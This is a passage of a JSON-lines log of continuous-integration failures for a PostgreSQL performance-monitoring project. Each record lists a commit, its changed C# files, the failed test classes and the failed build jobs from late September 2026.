ing.Tests.PgAlertCountKnobRungTests","Darling.Tests.PgCpuCapacityHeadroomTests","Darling.Tests.PgDatabaseSizeStatsAndHostMemoryLivePostgresTests","Darling.Tests.PgDatabaseSizeStatsAndHostMemoryRungTests","Darling.Tests.PgIndexBloatEstimateRungTests","Darling.Tests.PgLogEventMetricsRungTests","Darling.Tests.PgLogEventsRungTests","Darling.Tests.PgNumbackendsAndSampledMsLivePostgresTests","Darling.Tests.PgNumbackendsAndSampledMsRungTests","Darling.Tests.PgServerConfigScopeRungTests","Darling.Tests.PgServerConfigTests","Darling.Tests.PgStatementTextTests","Darling.Tests.PlanContentRetentionTests","Darling.Tests.PlanForceActionStoreTests","Darling.Tests.PostgresMajorVersionRegistryTests","Darling.Tests.PostmasterStartTimeLivePostgresTests","Darling.Tests.PostmasterStartTimeRungTests","Darling.Tests.PvsStatsStoreTests","Darling.Tests.QsCaptureModeRouteKnobToastLivePostgresTests","Darling.Tests.QsCaptureModeRouteKnobToastRungTests","Darling.Tests.QueryStoreHealthStoreTests","Darling.Tests.QueryStoreIntervalLatestRungTests","Darling.Tests.QueryStoreTextStoreTests","Darling.Tests.ScaffoldTests","Darling.Tests.SelfDiskWarnGbFloorRungTests","Darling.Tests.StartupHostProfileLogTests","Darling.Tests.StoreLogSelfMonitoringStoreTests","Darling.Tests.StoreSelfMetricsTests","Darling.Tests.TempDbCeilingStoreTests","Darling.Tests.TimeHonestyRungLivePostgresTests","Darling.Tests.TimeHonestyRungTests","PerformanceMonitor.Darling.Tests.StoreConnectionSelfTestLiveTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (0)","Darling PG tests (1)","build"]}
+{"date":"2026-09-25","head_sha":"02b7d9f692204d2cd3670007f36e1de42c7846a5","event":"pull_request","changed_files":["Darling/Darling.Tests/WebReadCancellationPinTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigHistoryTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs"],"failed_classes":["Darling.Tests.EngineCapabilityReadWiringTests","Darling.Tests.McpServiceParameterDiSeatCensusTests","Darling.Tests.PgTargetMcpSurfaceTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"cb72c5d58312b81772a7332bbc5ab0adba833e7f","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreIntervalLatestRungTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideGateTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideSlicerLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideWriterTests.cs","Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs"],"failed_classes":["Darling.Tests.McpReadCommandTimeoutTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-25","head_sha":"2cdce525a426660a1efbdd4e61af54f607cb8c9c","event":"pull_request","changed_files":["Darling/Darling.Tests/EngineCapabilityMissTests.cs","Darling/Darling.Tests/McpServiceParameterDiSeatCensusTests.cs","Darling/Darling.Tests/PgTargetMcpSurfaceTests.cs","Darling/Darling.Tests/WebReadCancellationPinTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigHistoryTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs"],"failed_classes":["PerformanceMonitor.Darling.Tests.RetiredBaselineAggregateLiveTests","Darling.Tests.PayloadDimensionLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"bcf18734bc9c7563bb394cc866b30d1325f4dcce","event":"push","changed_files":["Darling/Darling.Tests/CollectionCaveatsTests.cs","Darling/Darling.Tests/CollectorRuntimeStateTests.cs","Darling/Darling.Tests/DarlingPeerDisclosureTests.cs","Darling/Darling.Tests/DarlingStoreLoginsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/FailureNoteRedactionTests.cs","Darling/Darling.Tests/PgTargetCollectionCaveatsLiveTests.cs","Darling/Darling.Tests/SharedBaselineCacheTests.cs","Darling/Darling.Tests/StartupFailureTriageTests.cs","Darling/Darling.Tests/WebExceptionTextCensusTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/CollectorRuntimeState.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingForcePlanTargetStateReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/PgPlanForceActionStore.cs","Darling/PerformanceMonitor.Darling.Service/PlanForceBot.cs","Lite.Tests/CollectionCaveatsTests.cs","Lite/Analysis/DuckDbFactCollector.cs","PerformanceMonitor.Analysis/AnalysisContext.cs"],"failed_classes":["Darling.Tests.ComposeStoreRolesLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"3c16260c3c6e7618376774ebf362373001fc7726","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/EngineCapabilityMissTests.cs","Darling/Darling.Tests/McpServiceParameterDiSeatCensusTests.cs","Darling/Darling.Tests/PgTargetMcpSurfaceTests.cs","Darling/Darling.Tests/QueryStoreClutterTests.cs","Darling/Darling.Tests/WebReadCancellationPinTests.cs","Darling/PerformanceMonitor.Darling.Analysis/DarlingAnalysisService.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigHistoryTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLongQueryTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanCorrectionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryHeatmapTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreClutterTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpQueryStoreRegressionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingServerResolver.cs"],"failed_classes":["Darling.Tests.RuntimePreconditionReadWiringTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-25","head_sha":"49e5906ce37e10a213df6700179d7c9722078eca","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreIntervalWideGateTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideMinSchemaVersionPinTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideSlicerLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideWriterTests.cs","Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs","Darling/Darling.Tests/RawChunkIntervalRungHistoryRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs"],"failed_classes":["Darling.Tests.McpReadCommandTimeoutTests","Darling.Tests.QueryStoreIntervalWideWriterTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"40284b006187de062fe300a3d12a2065c029cdbf","event":"pull_request","changed_files":["Darling/Darling.Tests/ViewerCpuTempDbTests.cs","Darling/Darling.Tests/ViewerFileIoBlockingTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.TempDb.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Charts.cs"],"failed_classes":["Darling.Tests.PayloadDimensionLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"54fc10e90c4ab93a32dea96bfae0df84f0b377bd","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeStoreRolesLiveTests.cs","Darling/Darling.Tests/StartupCommandTimeoutTests.cs","Darling/Darling.Tests/StartupFailureTriageTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Service/StartupFailureTriage.cs"],"failed_classes":["Darling.Tests.StoreSessionTimeZonePinCensusTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-26","head_sha":"0aa324bfab631d2e1f5336d757b24defb25ea2cf","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreIntervalWideGateTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideMinSchemaVersionPinTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideWriterTests.cs","Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs","Darling/Darling.Tests/RawChunkIntervalRungHistoryRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs"],"failed_classes":["Darling.Tests.AvailabilityGroupsTabRefreshTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"09c646b64c3908fd00f2107f0331ddb7f7013bd9","event":"pull_request","changed_files":["Darling/Darling.Tests/MemoryGrantTempDbBucketingLiveTests.cs","Darling/Darling.Tests/ViewerCpuTempDbTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.TempDb.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Charts.cs","Lite.Tests/MemoryGrantTempDbTrendBucketingTests.cs","Lite/Services/LocalDataService.MemoryGrants.cs","Lite/Services/LocalDataService.TempDb.cs"],"failed_classes":["Darling.Tests.DarlingMcpTrendToolsSurfaceAndSqlTests","Darling.Tests.ViewerMemorySqlTests","PerformanceMonitorLite.Tests.MeasurementContractCensusTests"],"failed_jobs":["build","Darling PG tests (1)","Lite tests (0)","Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"a5f8d7d856353418e7c0a61fccb3547c94442f58","event":"pull_request","changed_files":["Darling/Darling.Tests/ViewerBlockingTrendBucketingTests.cs","Darling/Darling.Tests/ViewerFileIoBlockingTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.BlockingTrends.cs","Lite.Tests/LiteBlockingTrendBucketingTests.cs","Lite/Services/LocalDataService.Blocking.cs","Lite/Services/LocalDataService.WaitingTasks.cs"],"failed_classes":["Darling.Tests.ViewerBlockingTrendBucketingSqlTests"],"failed_jobs":["Darling PG tests (2)","build"]}
+{"date":"2026-09-26","head_sha":"c2a3e18567ba32b90a95de4fcd0e34a0f8b8f9d8","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgServerStateTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgTrendTools.cs"],"failed_classes":["Darling.Tests.McpPageContractTests","Darling.Tests.PgServerConfigScopeRungTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)","build"]}
+{"date":"2026-09-26","head_sha":"73737511b4ed3bb9a01b0128f94451218de4bf90","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreIntervalWideFaultInjectionCollection.cs","Darling/Darling.Tests/QueryStoreIntervalWideGateTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideGridLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideMinSchemaVersionPinTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideWriterTests.cs","Darling/Darling.Tests/QueryStoreTopMcpLiveTests.cs","Darling/Darling.Tests/RawChunkIntervalRungHistoryRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingRetention.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs"],"failed_classes":["Darling.Tests.AbandonedRunEraInvariantReadTests","Darling.Tests.AlertStoredValueTests","Darling.Tests.AnalysisPageCapLiveTests","Darling.Tests.AnomalyNullWindowLiveTests","Darling.Tests.AsOfWindowAnchorLivePostgresTests","Darling.Tests.BaselineDiscontinuityLivePostgresTests","Darling.Tests.CollectionLogFetchPhaseSumsLivePostgresTests","Darling.Tests.CollectorCostMaterialityFloorTests","Darling.Tests.CollectorCostRegressionPerRunTests","Darling.Tests.CollectorTableCatalogShadowTests","Darling.Tests.CompareAnalysisPgBandingLiveTests","Darling.Tests.CustomAlertLastFiredLiveTests","Darling.Tests.CustomAlertStateStoreLiveTests","Darling.Tests.CustomAlertTagSubtreeLiveTests","Darling.Tests.DailySummaryReadShapeLiveTests","Darling.Tests.DarkPastRetentionReadsOfflineLivePostgresTests","Darling.Tests.DarlingAlertReadAdapterTests","Darling.Tests.DarlingAnalysisServiceEngineRoutingTests","Darling.Tests.DarlingAnomalyBaselineTests","Darling.Tests.DarlingCollectionLogReadTests","Darling.Tests.DarlingCollectorRunnerTests","Darling.Tests.DarlingCollectorToggleVerbLivePostgresTests","Darling.Tests.DarlingComposeLivePostgresTests","Darling.Tests.DarlingDeltaSeederTests","Darling.Tests.DarlingEndpointToggleCliTests","Darling.Tests.DarlingMcpAgToolsLivePostgresTests","Darling.Tests.DarlingMcpAnalysisFindingsBudgetLiveTests","Darling.Tests.DarlingMcpCustomViewToolsLivePostgresTests","Darling.Tests.DarlingMcpHealthToolsLivePostgresTests","Darling.Tests.DarlingMcpObjectStatsToolsLivePostgresTests","Darling.Tests.DarlingMcpQueryStoreRegressionsBudgetLiveTests","Darling.Tests.DarlingMcpStoreHostToolsLiveTests","Darling.Tests.DarlingModuleMapTests","Darling.Tests.DarlingObservabilityTests","Darling.Tests.DarlingPgIndexBloatNanLivePostgresTests","Darling.Tests.DarlingPgReadSqlParsesLiveTests","Darling.Tests.DarlingPgTopQueriesLiveTests","Darling.Tests.DarlingQueryHeatmapBudgetLiveTests","Darling.Tests.DarlingSecuritySplitLiveTests","Darling.Tests.DarlingSignificantWaitsReadTests","Darling.Tests.DarlingStoreHostProfileLiveTests","Darling.Tests.DarlingTrendEmptyTests","Darling.Tests.DarlingWatermarkSeedLiveTests","Darling.Tests.DatabaseSizeLatestPlanShapeLiveTests","Darling.Tests.DefaultTraceEventFrameLivePostgresTests","Darling.Tests.DrillDownDopProvenanceLiveTests","Darling.Tests.EngineAwareVersionLabelTests","Darling.Tests.EventWindowedReadsAreBoundedLivePostgresTests","Darling.Tests.FleetCardPostgresCpuLivePostgresTests","Darling.Tests.FleetCollectionHealthMemoLivePostgresTests","Darling.Tests.FleetReadsAreBoundedLivePostgresTests","Darling.Tests.HoldEarnedByDeliveryTests","Darling.Tests.JobHistoryGroupedStatsMatchWindowFunctionLiveTests","Darling.Tests.McpCollectionLogPerServerResponseBudgetLivePostgresTests","Darling.Tests.McpFleetResponseBudgetLivePostgresTests","Darling.Tests.McpReadToolBudgetLiveTests","Darling.Tests.NotificationRoutesLivePostgresTests","Darling.Tests.ObjectLockingBudgetLiveTests","Darling.Tests.OversizedPlanSweepRunRecordLivePostgresTests","Darling.Tests.ParameterSensitiveDrillDownTextLiveTests","Darling.Tests.PerServerCollectionHealthMemoLivePostgresTests","Darling.Tests.PgCopyWriterTests","Darling.Tests.PgFactCollectorTests","Darling.Tests.PgIoTrendDefaultBudgetLiveTests","Darling.Tests.PgLogEventMetricsLivePostgresTests","Darling.Tests.PgLogEventsCsvlogLiveTests","Darling.Tests.PgServerConfigToolBoundLiveTests","Darling.Tests.PgTargetAnomalyTests","Darling.Tests.PgTargetBufferDrillDownTests","Darling.Tests.PgTargetDeadlockDrillDownTests","Darling.Tests.PgTargetFactCollectorTests","Darling.Tests.PgTargetGrowthLiveTests","Darling.Tests.PgTargetKnobsTests","Darling.Tests.PgTargetPostureTests","Darling.Tests.PgTargetReplicationTests","Darling.Tests.PgTargetSeqScanTests","Darling.Tests.PlanCorrectionFrameLiveTests","Darling.Tests.PlanForceActionStoreTests","Darling.Tests.PlanRegressionDrillDownReuseLiveTests","Darling.Tests.PostgresEngineGateBehaviorTests","Darling.Tests.PostmasterStartTimeLivePostgresTests","Darling.Tests.PvsStatsStoreTests","Darling.Tests.QsCaptureModeRouteKnobToastLivePostgresTests","Darling.Tests.QueryStoreClutterLivePostgresTests","Darling.Tests.QueryStoreCorrectedRollupLiveTests","Darling.Tests.QueryStoreReplicaSplitAnalysisLiveTests","Darling.Tests.QueryStoreTopMcpLiveTests","Darling.Tests.RawWindowFloorMcpLiveTests","Darling.Tests.RdsLogTimezoneReadLiveTests","Darling.Tests.RuntimePreconditionMissLivePostgresTests","Darling.Tests.ServerListAndSummaryPlanShapeTests","Darling.Tests.StoreConfigProviderTests","Darling.Tests.StoreLogGroupingLiveTests","Darling.Tests.StoreSelfMetricsTests","Darling.Tests.TimeHonestyRungLivePostgresTests","Darling.Tests.TimescaleSupportTests","Darling.Tests.TrendBucketingLiveTests","Darling.Tests.TrendFamilyBucketingLiveTests","Darling.Tests.ViewerCalendarRetentionLivePostgresTests","Darling.Tests.ViewerMemoryLivePostgresTests","Darling.Tests.ViewerOverviewLanesLivePostgresTests","Darling.Tests.ViewerPlanCacheLivePostgresTests","Darling.Tests.ViewerPlanHostLivePostgresTests","Darling.Tests.ViewerRecommendationsLivePostgresTests","PerformanceMonitor.Darling.Tests.HostObjectRollupLiveTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"c93141671fb83a19c203df516a66b5693ad7b3ab","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/MemoryGrantTempDbBucketingLiveTests.cs","Darling/Darling.Tests/ViewerCpuTempDbTests.cs","Darling/Darling.Tests/ViewerMemoryTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/TrendBucketSql.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.TempDb.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Charts.cs","Lite.Tests/MemoryGrantTempDbTrendBucketingTests.cs","Lite/Services/LocalDataService.MemoryGrants.cs","Lite/Services/LocalDataService.TempDb.cs"],"failed_classes":["Darling.Tests.ViewerMemoryLivePostgresTests","Darling.Tests.ViewerMemorySqlTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-26","head_sha":"6a334efcf1a0c00fc16cdc48bd56b6eccee9f4bc","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/MemoryGrantTempDbBucketingLiveTests.cs","Darling/Darling.Tests/ViewerCpuTempDbTests.cs","Darling/Darling.Tests/ViewerMemoryTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/TrendBucketSql.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.TempDb.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Charts.cs","Lite.Tests/MemoryGrantTempDbTrendBucketingTests.cs","Lite/Services/LocalDataService.MemoryGrants.cs","Lite/Services/LocalDataService.TempDb.cs"],"failed_classes":["Darling.Tests.ViewerMemoryLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-26","head_sha":"9a7d5c7d28571b04021684e78dad38e226b46670","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/MemoryGrantTempDbBucketingLiveTests.cs","Darling/Darling.Tests/ViewerCpuTempDbTests.cs","Darling/Darling.Tests/ViewerMemoryTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/TrendBucketSql.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.TempDb.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Charts.cs","Lite.Tests/MemoryGrantTempDbTrendBucketingTests.cs","Lite/Services/LocalDataService.MemoryGrants.cs","Lite/Services/LocalDataService.TempDb.cs"],"failed_classes":["Darling.Tests.ViewerCpuSessionsPlanCacheTrendBucketingLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"24cc9c02ded441440f16e6e6837bddc5d25169ae","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/README.md","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Darling.Tests.CollectionLogDrainForensicsStoreTests","Darling.Tests.CollectionLogFetchPhaseSumsStoreTests","Darling.Tests.CollectionLogPhaseSplitStoreTests","Darling.Tests.CollectorDatabaseScopeRungTests","Darling.Tests.DeadlockRateBandRungTests","Darling.Tests.DeltaFamilyIntervalColumnsRungTests","Darling.Tests.FleetSweepCadenceKnobRungTests","Darling.Tests.FleetSweepStateRungTests","Darling.Tests.FleetSweepStoreLivePostgresTests","Darling.Tests.LongRunningQueryExclusionKnobRungTests","Darling.Tests.NotificationRoutesRungTests","Darling.Tests.PerfmonCounterTypeRungTests","Darling.Tests.PgAlertCountKnobRungTests","Darling.Tests.PgDatabaseSizeStatsAndHostMemoryRungTests","Darling.Tests.PgLogEventMetricsRungTests","Darling.Tests.PgNumbackendsAndSampledMsRungTests","Darling.Tests.PgServerConfigScopeRungTests","Darling.Tests.QsCaptureModeRouteKnobToastRungTests","Darling.Tests.QueryStoreIntervalWideRungTests","Darling.Tests.SelfDiskWarnGbFloorRungTests","Darling.Tests.StartupHostProfileLogTests","Darling.Tests.StoreLogViewerGateTests","Darling.Tests.TimeHonestyRungTests","Darling.Tests.ViewerSchemaVersionGateTests","Lite.Tests.CrossSkuSurfaceSourceTests"],"failed_jobs":["build","Darling PG tests (0)","Lite tests (3)","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-26","head_sha":"fd948645346b2820a390012754c01988dee1a460","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingSelfAlertTests.cs","Darling/Darling.Tests/DarlingStoreHostProfileTests.cs","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/Darling.Tests/ManagedConfVerdictsRungTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideRungTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/README.md","Lite.Tests/CrossSkuSurfaceSourceTests.cs","PerformanceMonitor.Alerting/AlertReadFailureCounter.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests","Darling.Tests.ManagedConfVerdictsRungTests","Darling.Tests.StartupHostProfileLogTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (2)","Darling PG tests (1)","build"]}
